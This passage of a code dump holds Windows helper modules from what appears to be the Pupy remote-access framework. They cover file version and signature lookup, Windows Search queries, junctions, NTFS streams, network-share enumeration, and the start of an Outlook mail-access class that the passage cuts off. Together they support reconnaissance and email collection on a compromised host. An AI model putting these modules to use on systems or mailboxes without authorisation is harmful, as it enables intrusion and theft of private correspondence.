'CHAINING',\n}\n\ncrypt32 = WinDLL('crypt32', use_last_error=True)\nwintrust = WinDLL('wintrust', use_last_error=True)\n\nCryptQueryObject = crypt32.CryptQueryObject\nCryptQueryObject.restype = BOOL\nCryptQueryObject.argtypes = (\n    DWORD, LPCWSTR, DWORD, DWORD,\n    DWORD, PDWORD, PDWORD, PDWORD,\n    LPVOID,\n    POINTER(LPVOID),\n    POINTER(LPVOID)\n)\n\nCryptMsgGetParam = crypt32.CryptMsgGetParam\nCryptMsgGetParam.restype = BOOL\nCryptMsgGetParam.argtypes = (\n    LPVOID,\n    DWORD, DWORD,\n    LPVOID, PDWORD\n)\n\nCertCloseStore = crypt32.CertCloseStore\nCertCloseStore.restype = BOOL\nCertCloseStore.argtypes = (\n    LPVOID, DWORD\n)\n\nCryptMsgClose = crypt32.CryptMsgClose\nCryptMsgClose.restype = BOOL\nCryptMsgClose.argtypes = (\n    LPVOID,\n)\n\nver_lib = None\n\nif hasattr(kernel32, 'GetFileVersionInfoSizeExW'):\n    ver_lib = kernel32\nelse:\n    try:\n        ver_lib = WinDLL(\n            'Api-ms-win-core-version-l1-1-0', use_last_error=True)\n\n    except WindowsError:\n        pass\n\nif ver_lib:\n    GetFileVersionInfoSizeExW = ver_lib.GetFileVersionInfoSizeExW\n    GetFileVersionInfoExW = ver_lib.GetFileVersionInfoExW\n    VerQueryValueW = ver_lib.VerQueryValueW\n\n    GetFileVersionInfoSizeExW.restype = DWORD\n    GetFileVersionInfoSizeExW.argtypes = (\n        DWORD, LPCWSTR, PDWORD\n    )\n\n    GetFileVersionInfoExW.restype = BOOL\n    GetFileVersionInfoExW.argtypes = (\n        DWORD, LPCWSTR, DWORD, DWORD, LPVOID\n    )\n\n    VerQueryValueW.restype = BOOL\n    VerQueryValueW.argtypes = (\n        LPVOID, LPCWSTR, POINTER(LPVOID), PDWORD\n    )\n\nWinVerifyTrust = wintrust.WinVerifyTrust\nWinVerifyTrust.restype = ULONG\nWinVerifyTrust.argtypes = (\n    LPVOID, LPVOID, LPVOID\n)\n\n\nclass FIXEDFILEINFO(Structure):\n    _fields_ = (\n        ('dwSignature', DWORD),\n        ('dwStrucVersion', DWORD),\n        ('dwFileVersionMS', DWORD),\n        ('dwFileVersionLS', DWORD),\n        ('dwProductVersionMS', DWORD),\n        ('dwProductVersionLS', DWORD),\n        ('dwFileFlagsMask', DWORD),\n        ('dwFileFlags', DWORD),\n        ('dwFileOS', DWORD),\n        ('dwFileType', DWORD),\n        ('dwFileSubtype', DWORD),\n        ('dwFileDateMS', DWORD),\n        ('dwFileDateLS', DWORD)\n    )\n\n\nclass LANGANDCODEPAGE(Structure):\n    _fields_ = (\n        ('wLanguage', WORD),\n        ('wCodePage', WORD)\n    )\n\n\nclass WINTRUST_FILE_INFO(Structure):\n    _fields_ = (\n        ('cbStruct', DWORD),\n        ('pcwszFilePath', LPCWSTR),\n        ('hFile', HANDLE),\n        ('pgKnownSubject', LPVOID),\n    )\n\n    def __init__(self, filename):\n        self.cbStruct = sizeof(self)\n        self.pcwszFilePath = filename\n        self.hFile = None\n        self.pgKnownSubject = None\n\n\nclass WINTRUST_DATA(Structure):\n    _fields_ = (\n        ('cbStruct', DWORD),\n        ('pPolicyCallbackData', LPVOID),\n        ('pSIPClientData', LPVOID),\n        ('dwUIChoice', DWORD),\n        ('fdwRevocationChecks', DWORD),\n        ('dwUnionChoice', DWORD),\n        ('pvInfo', LPVOID),\n        ('dwStateAction', DWORD),\n        ('hWVTStateData', HANDLE),\n        ('pwszURLReference', LPCWSTR),\n        ('dwProvFlags', DWORD),\n        ('dwUIContext', DWORD),\n        ('pSignatureSettings', LPVOID),\n    )\n\n    def __init__(self, filename):\n        self._pFile = WINTRUST_FILE_INFO(filename)\n\n        self.cbStruct = DWORD(sizeof(self))\n        self.pPolicyCallbackData = None\n        self.pSIPClientData = None\n        self.dwUIChoice = WTD_UI_NONE\n        self.fdwRevocationChecks = WTD_REVOKE_NONE\n        self.dwUnionChoice = WTD_CHOICE_FILE\n        self.dwStateAction = WTD_STATEACTION_VERIFY\n        self.hWVTStateData = None\n        self.pwszURLReference = None\n        self.dwUIContext = 0\n        self.pvInfo = addressof(self._pFile)\n\n\nclass GUID(Structure):\n    _fields_ = (\n        ('Data1', DWORD),\n        ('Data2', WORD),\n        ('Data3', WORD),\n        ('Data4', BYTE*8)\n    )\n\n    def __init__(self, u1, u2, u3, u4):\n        self.Data1 = u1\n        self.Data2 = u2\n        self.Data3 = u3\n\n        if isinstance(u4, bytes):\n            self.Data4 = (BYTE*8)(*u4[:8])\n        else:\n            self.Data4 = (BYTE*8)(*u4)\n\n\nWINTRUST_ACTION_GENERIC_VERIFY_V2 = GUID(\n    0xaac56b, 0xcd44, 0x11d0, [\n        0x8c, 0xc2, 0x0, 0xc0, 0x4f, 0xc2, 0x95, 0xee\n    ]\n)\n\n\ndef getfilever(filepath, flags=FILE_VER_GET_NEUTRAL, throw=False):\n    if not ver_lib:\n        return {}\n\n    result = {}\n\n    dwReserved = DWORD(0)\n    dwVersionSize = GetFileVersionInfoSizeExW(\n        flags, filepath, byref(dwReserved)\n    )\n    if dwVersionSize == 0:\n        if throw:\n            raise WinError(get_last_error())\n\n        return result\n\n    pBuffer = create_string_buffer(dwVersionSize)\n    bResult = GetFileVersionInfoExW(\n        flags, filepath, 0, dwVersionSize, byref(pBuffer)\n    )\n    if not bResult:\n        if throw:\n            raise WinError(get_last_error())\n\n        return result\n\n    info = FIXEDFILEINFO()\n    dwSize = DWORD(0)\n    pvData = LPVOID()\n\n    bResult = VerQueryValueW(pBuffer, '\\\\', byref(pvData), byref(dwSize))\n    if bResult:\n        info = cast(pvData, POINTER(FIXEDFILEINFO)).contents\n\n        result['FileVersion'] = '{1}.{0}.{3}.{2}'.format(\n            *unpack(\n                '<HHHH', pack(\n                    '<II', info.dwFileVersionMS, info.dwFileVersionLS))\n        )\n\n        result['ProductVersion'] = '{1}.{0}.{3}.{2}'.format(\n            *unpack(\n                '<HHHH', pack(\n                    '<II', info.dwProductVersionMS, info.dwProductVersionLS))\n        )\n\n        flags = []\n        valid_flags = info.dwFileFlags & info.dwFileFlagsMask\n        if valid_flags:\n            for flag, value in VS_FF_STR.items():\n                if _bit(flag, valid_flags):\n                    flags.append(value)\n\n        result['Flags'] = flags\n\n        for flag, value in VFT_STR.items():\n            if _bit(flag, info.dwFileType):\n                if flag == VFT_UNKNOWN:\n                    break\n\n                elif flag == VFT_DRV:\n                    for subflag, subvalue in VFT2_DRV_STR.items():\n                        if _bit(subflag, info.dwFileSubtype):\n                            value += '(' + subvalue + ')'\n                            break\n                elif flag == VFT_FONT:\n                    for subflag, subvalue in VFT2_FONT_STR.items():\n                        if _bit(subflag, info.dwFileSubtype):\n                            value += '(' + subvalue + ')'\n                            break\n\n                elif flag == VFT_VXD:\n                    value += '(VxD={:08x})'.format(info.dwFileSubtype)\n\n                result['Type'] = value\n                break\n\n        timestamp = info.dwFileDateMS << 32 | info.dwFileDateLS\n        result['Timestamp'] = timestamp\n\n    bResult = VerQueryValueW(\n        pBuffer, '\\\\VarFileInfo\\\\Translation', byref(pvData), byref(dwSize))\n\n    if bResult:\n        nRecords = dwSize.value // sizeof(LANGANDCODEPAGE)\n\n        records = cast(pvData, POINTER(LANGANDCODEPAGE * nRecords)).contents\n        translations = {}\n\n        for translation in records:\n            strings = {}\n\n            for string in LOCALIZED_STRINGS:\n                varpath = '\\\\\\\\StringFileInfo\\\\{:04x}{:04x}\\\\{}'.format(\n                    translation.wLanguage, translation.wCodePage, string\n                )\n\n                bResult = VerQueryValueW(\n                    pBuffer, varpath, byref(pvData), byref(dwSize)\n                )\n                if not bResult:\n                    continue\n\n                strings[string] = cast(pvData, LPCWSTR).value\n\n            if strings:\n                translations[translation.wLanguage] = strings\n\n        if translations:\n            found = False\n            for preferred_translation in (0, 2057):\n                if preferred_translation in translations:\n                    result.update(translations[preferred_translation])\n                    found = True\n                    break\n\n            if not found:\n                # Just pick any\n                result.update(next(iter(translations.values())))\n\n    return result\n\n\ndef getfilecert(filepath, throw=False):\n    dwEncoding = DWORD()\n    dwContentType = DWORD()\n    dwFormatType = DWORD()\n    hStore = LPVOID()\n    hMsg = LPVOID()\n\n    bResult = CryptQueryObject(\n        CERT_QUERY_OBJECT_FILE,\n        filepath,\n        CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,\n        CERT_QUERY_FORMAT_FLAG_BINARY,\n        0,\n        byref(dwEncoding), byref(dwContentType),\n        byref(dwFormatType), byref(hStore),\n        byref(hMsg), None\n    )\n\n    if not bResult:\n        if throw:\n            raise WinError(get_last_error())\n\n        return {}\n\n    try:\n        dwCertsCount = DWORD(-1)\n        dwArgSize = DWORD(sizeof(dwCertsCount))\n\n        bResult = CryptMsgGetParam(\n            hMsg,\n            CMSG_ATTR_CERT_COUNT_PARAM,\n            0,\n            byref(dwCertsCount), byref(dwArgSize)\n        )\n\n        if not bResult:\n            if throw:\n                raise WinError(get_last_error())\n\n            return {}\n\n        certificates = []\n\n        for idx in xrange(dwCertsCount.value):\n            dwArgSize = DWORD(-1)\n            CryptMsgGetParam(\n                hMsg,\n                CMSG_ATTR_CERT_PARAM,\n                idx,\n                None, byref(dwArgSize)\n            )\n\n            if dwArgSize == DWORD(-1):\n                if throw:\n                    raise WinError(get_last_error())\n                break\n\n            pBuffer = create_string_buffer(dwArgSize.value)\n\n            bResult = CryptMsgGetParam(\n                hMsg,\n                CMSG_ATTR_CERT_PARAM,\n                idx,\n                byref(pBuffer), byref(dwArgSize)\n            )\n\n            if not bResult:\n                if throw:\n                    raise WinError(get_last_error())\n\n                continue\n\n            certificates.append(pBuffer.raw)\n\n        return {\n            'Certificates': certificates\n        }\n\n    finally:\n        if hStore:\n            CertCloseStore(hStore, 0)\n\n        if hMsg:\n            CryptMsgClose(hMsg)\n\n\ndef getfiletrust(filepath):\n    trust = WINTRUST_DATA(filepath)\n    lStatus = WinVerifyTrust(\n        None,\n        byref(WINTRUST_ACTION_GENERIC_VERIFY_V2),\n        byref(trust)\n    )\n\n    if lStatus == 0:\n        return {\n            'Signature': 'VALID'\n        }\n\n    return {\n        'Signature': TRUST_E_STR.get(\n            lStatus, 'Error: {:08x}'.format(lStatus))\n    }\n\n\ndef getfilesec(filepath):\n    header = ''\n\n    filepath = path.expanduser(filepath)\n    filepath = path.expandvars(filepath)\n\n    if path.isfile(filepath):\n        try:\n            with open(filepath, 'rb') as fileobj:\n                header = fileobj.read(4096)\n        except (OSError, IOError):\n            pass\n\n    try:\n        filestat = stat(filepath)\n        owner, group, acls = getfileowneracls(filepath)\n        streams = has_xattrs(filepath)\n        link = None\n\n    except Exception as e:\n        fix_exception_encoding(e)\n        raise\n\n    try:\n        if islink(filepath):\n            link = readlink(filepath)\n    except (WindowsError, ValueError, OSError, IOError):\n        pass\n\n    mode = mode_to_letter(filestat.st_mode)\n\n    extras = {\n        'ACLs': [unicode(x) for x in acls] if acls else None,\n        'Streams': streams,\n        'Link': link,\n        'Version': getfilever(filepath),\n    }\n\n    certs = getfilecert(filepath)\n    if certs:\n        extras.update(certs)\n        extras.update(getfiletrust(filepath))\n\n    return \\\n        int(filestat.st_ctime), int(filestat.st_atime), \\\n        int(filestat.st_mtime), filestat.st_size, owner, group, \\\n        header, mode, {k: v for k, v in extras.items() if v}\n"
  },
  {
    "path": "pupy/packages/windows/all/isearch.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport adodbapi\nimport sys\nimport datetime\n\nPROVIDER = 'provider=Search.CollatorDSO.1;EXTENDED?PROPERTIES=\"Application=Windows\"'\n\ndef query(sql, limit):\n    data = []\n    error = None\n    idx = 0\n    cidx = 0\n\n    encoding = sys.getfilesystemencoding()\n\n    conn = adodbapi.connect(PROVIDER)\n\n    try:\n        cursor = conn.cursor()\n        cursor.execute(sql)\n        for idx, record in enumerate(cursor):\n\n            if idx >= limit:\n                break\n\n            line = []\n            for cidx, column in enumerate(record):\n                if type(column) == str:\n                    column = column.decode(encoding)\n                elif type(column) == datetime.datetime:\n                    column = int((\n                        column - datetime.datetime.utcfromtimestamp(0)\n                    ).total_seconds())\n                line.append(column)\n            data.append(tuple(line))\n\n    except adodbapi.apibase.DatabaseError as e:\n        # ZOMG\n        if hasattr(e, 'message'):\n            parts = e.message.split('\\n')\n        else:\n            parts = str(e).split('\\n')\n\n        code = eval(parts[0])[1].decode(encoding)\n        error = '\\n'.join(parts[1:]) + '\\n' + code\n\n    finally:\n        conn.close()\n\n    return idx, cidx, data, error\n"
  },
  {
    "path": "pupy/packages/windows/all/junctions.py",
    "content": "# -*- coding: utf-8 -*-\n# https://eklausmeier.wordpress.com/2015/10/27/working-with-windows-junctions-in-python/\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom ctypes import (\n    WinDLL, POINTER, c_ubyte, Structure, addressof,\n    Union, WinError, c_buffer, byref\n)\nfrom ctypes.wintypes import (\n    DWORD, LPCWSTR, HANDLE, LPVOID, USHORT, ULONG,\n    WCHAR, BOOL\n)\n\nimport stat\nimport os\n\nkernel32 = WinDLL('kernel32')\nLPDWORD = POINTER(DWORD)\nUCHAR = c_ubyte\n\nGetFileAttributesW = kernel32.GetFileAttributesW\nGetFileAttributesW.restype = DWORD\nGetFileAttributesW.argtypes = (LPCWSTR,) #lpFileName In\n\nINVALID_FILE_ATTRIBUTES = 0xFFFFFFFF\nFILE_ATTRIBUTE_REPARSE_POINT = 0x00400\n\nCreateFileW = kernel32.CreateFileW\nCreateFileW.restype = HANDLE\nCreateFileW.argtypes = (LPCWSTR, #lpFileName In\n                        DWORD,   #dwDesiredAccess In\n                        DWORD,   #dwShareMode In\n                        LPVOID,  #lpSecurityAttributes In_opt\n                        DWORD,   #dwCreationDisposition In\n                        DWORD,   #dwFlagsAndAttributes In\n                        HANDLE)  #hTemplateFile In_opt\n\nCloseHandle = kernel32.CloseHandle\nCloseHandle.restype = BOOL\nCloseHandle.argtypes = (HANDLE,) #hObject In\n\nINVALID_HANDLE_VALUE = HANDLE(-1).value\nOPEN_EXISTING = 3\nFILE_FLAG_BACKUP_SEMANTICS = 0x02000000\nFILE_FLAG_OPEN_REPARSE_POINT = 0x00200000\n\nDeviceIoControl = kernel32.DeviceIoControl\nDeviceIoControl.restype = BOOL\nDeviceIoControl.argtypes = (HANDLE,  #hDevice In\n                            DWORD,   #dwIoControlCode In\n                            LPVOID,  #lpInBuffer In_opt\n                            DWORD,   #nInBufferSize In\n                            LPVOID,  #lpOutBuffer Out_opt\n                            DWORD,   #nOutBufferSize In\n                            LPDWORD, #lpBytesReturned Out_opt\n                            LPVOID)  #lpOverlapped Inout_opt\n\nFSCTL_GET_REPARSE_POINT = 0x000900A8\nIO_REPARSE_TAG_MOUNT_POINT = 0xA0000003\nIO_REPARSE_TAG_SYMLINK = 0xA000000C\nMAXIMUM_REPARSE_DATA_BUFFER_SIZE = 0x4000\n\nclass GENERIC_REPARSE_BUFFER(Structure):\n    _fields_ = (('DataBuffer', UCHAR * 1),)\n\n\nclass SYMBOLIC_LINK_REPARSE_BUFFER(Structure):\n    _fields_ = (('SubstituteNameOffset', USHORT),\n                ('SubstituteNameLength', USHORT),\n                ('PrintNameOffset', USHORT),\n                ('PrintNameLength', USHORT),\n                ('Flags', ULONG),\n                ('PathBuffer', WCHAR * 1))\n\n    @property\n    def PrintName(self):\n        arrayt = WCHAR * (self.PrintNameLength // 2)\n        offset = type(self).PathBuffer.offset + self.PrintNameOffset\n        return arrayt.from_address(addressof(self) + offset).value\n\n\nclass MOUNT_POINT_REPARSE_BUFFER(Structure):\n    _fields_ = (('SubstituteNameOffset', USHORT),\n                ('SubstituteNameLength', USHORT),\n                ('PrintNameOffset', USHORT),\n                ('PrintNameLength', USHORT),\n                ('PathBuffer', WCHAR * 1))\n\n    @property\n    def PrintName(self):\n        arrayt = WCHAR * (self.PrintNameLength // 2)\n        offset = type(self).PathBuffer.offset + self.PrintNameOffset\n        return arrayt.from_address(addressof(self) + offset).value\n\n\nclass REPARSE_DATA_BUFFER(Structure):\n    class REPARSE_BUFFER(Union):\n        _fields_ = (('SymbolicLinkReparseBuffer',\n                        SYMBOLIC_LINK_REPARSE_BUFFER),\n                    ('MountPointReparseBuffer',\n                        MOUNT_POINT_REPARSE_BUFFER),\n                    ('GenericReparseBuffer',\n                        GENERIC_REPARSE_BUFFER))\n    _fields_ = (('ReparseTag', ULONG),\n                ('ReparseDataLength', USHORT),\n                ('Reserved', USHORT),\n                ('ReparseBuffer', REPARSE_BUFFER))\n    _anonymous_ = ('ReparseBuffer',)\n\n\ndef islink(path):\n    result = GetFileAttributesW(path)\n    if result == INVALID_FILE_ATTRIBUTES:\n        raise WinError()\n    return bool(result & FILE_ATTRIBUTE_REPARSE_POINT)\n\ndef readlink(path):\n    reparse_point_handle = CreateFileW(\n        path,\n        0,\n        0,\n        None,\n        OPEN_EXISTING,\n        FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,\n        None)\n    if reparse_point_handle == INVALID_HANDLE_VALUE:\n        raise WinError()\n\n    target_buffer = c_buffer(MAXIMUM_REPARSE_DATA_BUFFER_SIZE)\n    n_bytes_returned = DWORD()\n    io_result = DeviceIoControl(\n        reparse_point_handle,\n        FSCTL_GET_REPARSE_POINT,\n        None, 0,\n        target_buffer, len(target_buffer),\n        byref(n_bytes_returned),\n        None)\n\n    CloseHandle(reparse_point_handle)\n    if not io_result:\n        raise WinError()\n\n    rdb = REPARSE_DATA_BUFFER.from_buffer(target_buffer)\n    if rdb.ReparseTag == IO_REPARSE_TAG_SYMLINK:\n        return rdb.SymbolicLinkReparseBuffer.PrintName\n    elif rdb.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT:\n        return rdb.MountPointReparseBuffer.PrintName\n\n    raise ValueError(\"not a link\")\n\nclass LinkStat(object):\n    st_mode = stat.S_IFLNK\n    st_uid = 0\n    st_gid = 0\n    st_size = 0\n    st_mtime = 0\n    st_rdev = 0\n\ndef lstat(path):\n    try:\n        is_link = islink(path)\n    except WindowsError:\n        is_link = False\n\n    if is_link:\n        return LinkStat()\n    else:\n        return os.stat(path)\n"
  },
  {
    "path": "pupy/packages/windows/all/netresources.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom ctypes import (\n    WinDLL, Structure, POINTER, create_string_buffer,\n    cast, c_void_p, WinError, byref\n)\n\nfrom ctypes.wintypes import (\n    DWORD, LPCWSTR, HANDLE\n)\n\nfrom psutil import disk_usage\n\nimport sys\n\nif sys.version_info.major > 2:\n    unicode = str\n\n\nclass NETRESOURCE(Structure):\n    _fields_ = (\n        ('dwScope', DWORD),\n        ('dwType', DWORD),\n        ('dwDisplayType', DWORD),\n        ('dwUsage', DWORD),\n        ('lpLocalName', LPCWSTR),\n        ('lpRemoteName', LPCWSTR),\n        ('lpComment', LPCWSTR),\n        ('lpProvider', LPCWSTR),\n    )\n\nPNETRESOURCE = POINTER(NETRESOURCE)\nPHANDLE = POINTER(HANDLE)\nPDWORD = POINTER(DWORD)\nPVOID = c_void_p\n\nRESOURCE_CONNECTED = 1\nRESOURCE_GLOBALNET = 2\nRESOURCE_REMEMBERED = 3\nRESOURCE_RECENT = 4\nRESOURCE_CONTEXT = 5\n\nSCOPE_TEXT = {\n    RESOURCE_CONNECTED: 'connected',\n    RESOURCE_GLOBALNET: 'global',\n    RESOURCE_REMEMBERED: 'remembered',\n    RESOURCE_RECENT: 'recent',\n    RESOURCE_CONTEXT: 'context'\n}\n\nRESOURCETYPE_ANY = 0\nRESOURCETYPE_DISK = 1\nRESOURCETYPE_PRINT = 2\n\nRESOURCETYPE_TEXT = {\n    RESOURCETYPE_ANY: 'any',\n    RESOURCETYPE_DISK: 'disk',\n    RESOURCETYPE_PRINT: 'print'\n}\n\nRESOURCETYPE_RESERVED = 8\nRESOURCETYPE_UNKNOWN = 0xFFFFFFFF\n\nRESOURCEUSAGE_CONNECTABLE = 0x00000001\nRESOURCEUSAGE_CONTAINER = 0x00000002\nRESOURCEUSAGE_NOLOCALDEVICE = 0x00000004\nRESOURCEUSAGE_SIBLING = 0x00000008\nRESOURCEUSAGE_ATTACHED = 0x00000010\n\nRESOURCEUSAGE_TEXT = {\n    RESOURCEUSAGE_CONNECTABLE: 'connectable',\n    RESOURCEUSAGE_CONTAINER: 'container',\n    RESOURCEUSAGE_NOLOCALDEVICE: 'nolocaldevice',\n    RESOURCEUSAGE_SIBLING: 'sibling',\n    RESOURCEUSAGE_ATTACHED: 'attached'\n}\n\nRESOURCEUSAGE_ALL = \\\n    RESOURCEUSAGE_CONNECTABLE | \\\n    RESOURCEUSAGE_CONTAINER | \\\n    RESOURCEUSAGE_ATTACHED\n\nRESOURCEUSAGE_RESERVED = 0x80000000\nRESOURCEDISPLAYTYPE_GENERIC = 0\nRESOURCEDISPLAYTYPE_DOMAIN = 1\nRESOURCEDISPLAYTYPE_SERVER = 2\nRESOURCEDISPLAYTYPE_SHARE = 3\nRESOURCEDISPLAYTYPE_FILE = 4\nRESOURCEDISPLAYTYPE_GROUP = 5\nRESOURCEDISPLAYTYPE_NETWORK = 6\nRESOURCEDISPLAYTYPE_ROOT = 7\nRESOURCEDISPLAYTYPE_SHAREADMIN = 8\nRESOURCEDISPLAYTYPE_DIRECTORY = 9\nRESOURCEDISPLAYTYPE_TREE = 10\n\nRESOURCEDISPLAYTYPE_TEXT = {\n    RESOURCEDISPLAYTYPE_GENERIC: 'generic',\n    RESOURCEDISPLAYTYPE_DOMAIN: 'domain',\n    RESOURCEDISPLAYTYPE_SERVER: 'server',\n    RESOURCEDISPLAYTYPE_SHARE: 'share',\n    RESOURCEDISPLAYTYPE_FILE: 'file',\n    RESOURCEDISPLAYTYPE_GROUP: 'group',\n    RESOURCEDISPLAYTYPE_NETWORK: 'network',\n    RESOURCEDISPLAYTYPE_ROOT: 'root',\n    RESOURCEDISPLAYTYPE_SHAREADMIN: 'shareadmin',\n    RESOURCEDISPLAYTYPE_DIRECTORY: 'dir',\n    RESOURCEDISPLAYTYPE_TREE: 'tree'\n}\n\nERROR_NO_MORE_ITEMS = 259\nERROR_EXTENDED = 1208\n\nmpr = WinDLL('mpr', use_last_error=True)\n\nWNetEnumResource = mpr.WNetEnumResourceW\nWNetEnumResource.restype = DWORD\nWNetEnumResource.argtypes = (\n  HANDLE, PDWORD, PVOID, PDWORD\n)\n\nWNetOpenEnum = mpr.WNetOpenEnumW\nWNetOpenEnum.restype = DWORD\nWNetOpenEnum.argtypes = (\n    DWORD, DWORD, DWORD, PNETRESOURCE, PHANDLE\n)\n\nWNetCloseEnum = mpr.WNetCloseEnum\nWNetCloseEnum.argtypes = (HANDLE,)\n\n\ndef EnumNetResources(scope=RESOURCE_CONNECTED, lpnr=None):\n    hEnum = HANDLE()\n\n    dwResult = WNetOpenEnum(\n        scope,\n        RESOURCETYPE_ANY,\n        0,\n        lpnr,\n        byref(hEnum)\n    )\n\n    if dwResult == ERROR_EXTENDED:\n        return []\n    elif dwResult != 0:\n        raise WinError(dwResult)\n\n    results = []\n\n    try:\n        while True:\n            dEntries = DWORD(-1)\n            lpnrLocal = create_string_buffer(128 * 1024)\n            cbBuffer = DWORD(len(lpnrLocal))\n\n            dwResultEnum = WNetEnumResource(\n                hEnum,\n                byref(dEntries),\n                byref(lpnrLocal),\n                byref(cbBuffer)\n            )\n\n            if dwResultEnum == ERROR_NO_MORE_ITEMS:\n                break\n            elif dwResultEnum != 0:\n                raise WinError(dwResultEnum)\n\n            entries = cast(\n                lpnrLocal, POINTER(NETRESOURCE * dEntries.value)\n            ).contents\n\n            for entry in entries:\n                if not entry.lpProvider:\n                    break\n\n                usage_flags = []\n\n                for value, name in RESOURCEUSAGE_TEXT.items():\n                    if (entry.dwUsage & value) == value:\n                        usage_flags.append(name)\n\n                result = {\n                    'scope': SCOPE_TEXT.get(entry.dwScope, 'unknown'),\n                    'type': RESOURCETYPE_TEXT.get(entry.dwType, 'any'),\n                    'displayType': RESOURCEDISPLAYTYPE_TEXT.get(\n                        entry.dwDisplayType, 'any'),\n                    'usage': usage_flags,\n                    'local': unicode(\n                        entry.lpLocalName) if entry.lpLocalName else None,\n                    'remote': unicode(\n                        entry.lpRemoteName) if entry.lpRemoteName else None,\n                    'comment': unicode(\n                        entry.lpComment) if entry.lpComment else None,\n                    'provider': unicode(\n                        entry.lpProvider) if entry.lpProvider else None,\n                }\n\n                if (entry.dwUsage & RESOURCEUSAGE_CONTAINER) == RESOURCEUSAGE_CONTAINER:\n                    result['childs'] = EnumNetResources(scope, byref(entry))\n\n                if result['type'] == 'disk' and result['scope'] == 'connected':\n                    try:\n                        usage = disk_usage(result['remote'])\n                        result.update({\n                            'total': usage.total,\n                            'used': usage.used,\n                            'free': usage.free,\n                            'percent': usage.percent\n                        })\n                    except WindowsError:\n                        pass\n\n                results.append(result)\n\n        return results\n\n    finally:\n        WNetCloseEnum(hEnum)\n\n\ndef EnumAllNetResources():\n    results = {}\n    for value, text in SCOPE_TEXT.items():\n        try:\n            results[text] = EnumNetResources(value)\n        except WinError:\n            pass\n\n    return results\n"
  },
  {
    "path": "pupy/packages/windows/all/ntfs_streams.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = [\n  'get_streams'\n]\n\nfrom sys import getfilesystemencoding\n\nfrom ctypes import WinDLL, c_void_p, byref, Structure\nfrom ctypes import c_longlong as LONGLONG\nfrom ctypes.wintypes import (\n    LPWSTR, DWORD, WCHAR, HANDLE, BOOL\n)\n\nkernel32 = WinDLL('kernel32')\n\nclass LARGE_INTEGER_UNION(Structure):\n    _fields_ = [\n        (\"QuadPart\", LONGLONG),\n    ]\n\nclass WIN32_FIND_STREAM_DATA(Structure):\n    _fields_ = [\n        (\"StreamSize\", LARGE_INTEGER_UNION),\n        (\"cStreamName\", WCHAR * (260+36+1)),\n    ]\n\ntry:\n    FindFirstStreamW = kernel32.FindFirstStreamW\n    FindFirstStreamW.argtypes = [\n        LPWSTR, DWORD, c_void_p, DWORD\n    ]\n    FindFirstStreamW.restype = HANDLE\n\n    FindNextStreamW = kernel32.FindNextStreamW\n    FindNextStreamW.argtypes = [\n        HANDLE, c_void_p\n    ]\n    FindNextStreamW.restype = BOOL\n\n    FindClose = kernel32.FindClose\n    FindClose.argtypes = [\n        HANDLE\n    ]\n\n    NTFS_STREAMS_API_PRESENT = True\n\nexcept AttributeError:\n    # Unsupported version of windows\n    FindFirstStreamW = None\n    FindNextStreamW = None\n    FindClose = None\n\n    NTFS_STREAMS_API_PRESENT = False\n\n\nINVALID_HANDLE_VALUE = c_void_p(-1).value\n\ndef get_streams(filename):\n    if not NTFS_STREAMS_API_PRESENT:\n        return []\n\n    if type(filename) == bytes:\n        filename = filename.decode(\n            getfilesystemencoding())\n\n    file_infos = WIN32_FIND_STREAM_DATA()\n\n    streams = FindFirstStreamW(filename, 0, byref(file_infos), 0)\n    if streams == INVALID_HANDLE_VALUE:\n        return []\n\n    stream_name = file_infos.cStreamName\n    stream_list = list()\n\n    if stream_name:\n        if not stream_name.startswith('::'):\n            stream_list.append(stream_name.split(':')[1])\n\n        while FindNextStreamW(streams, byref(file_infos)):\n            stream_name = file_infos.cStreamName\n            if not stream_name.startswith('::'):\n                stream_list.append(stream_name.split(':')[1])\n\n    FindClose(streams)\n    return stream_list\n"
  },
  {
    "path": "pupy/packages/windows/all/outlook.py",
    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport logging\nimport time\n\nfrom collections import OrderedDict\nimport win32com\nimport win32com.client\nimport glob\nimport re\n\nclass outlook():\n    '''\n    '''\n\n    OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}\n    OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}\n    OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'}\n    OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'}\n\n    def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):\n        '''\n        '''\n        self.outlook = None\n        self.mapi = None\n        self.foldersAndSubFolders = None\n        self.folderId = folderId\n        self.folderIndex = folderIndex\n        self.msgSaveType = msgSaveType\n        self.inbox = None\n        self.constants = None\n        self.sleepTime = sleepTime\n        self.remoteTempFolder = os.path.expandvars(\"%TEMP%\")\n\n    def outlookIsInstalled(self):\n        '''\n        returns True if Outlook is installed\n        otherwise returns False\n        '''\n        try:\n            win32com.client.Dispatch(\"Outlook.Application\").GetNamespace(\"MAPI\")\n            return True\n        except:\n            return False\n\n\n    def connect(self):\n        '''\n        Returns True if no error\n        Otherise returns False\n        '''\n        try:\n            self.outlook = win32com.client.Dispatch(\"Outlook.Application\")\n            #self.outlook = win32com.client.gencache.EnsureDispatch(\"Outlook.Application\")\n            self.mapi = 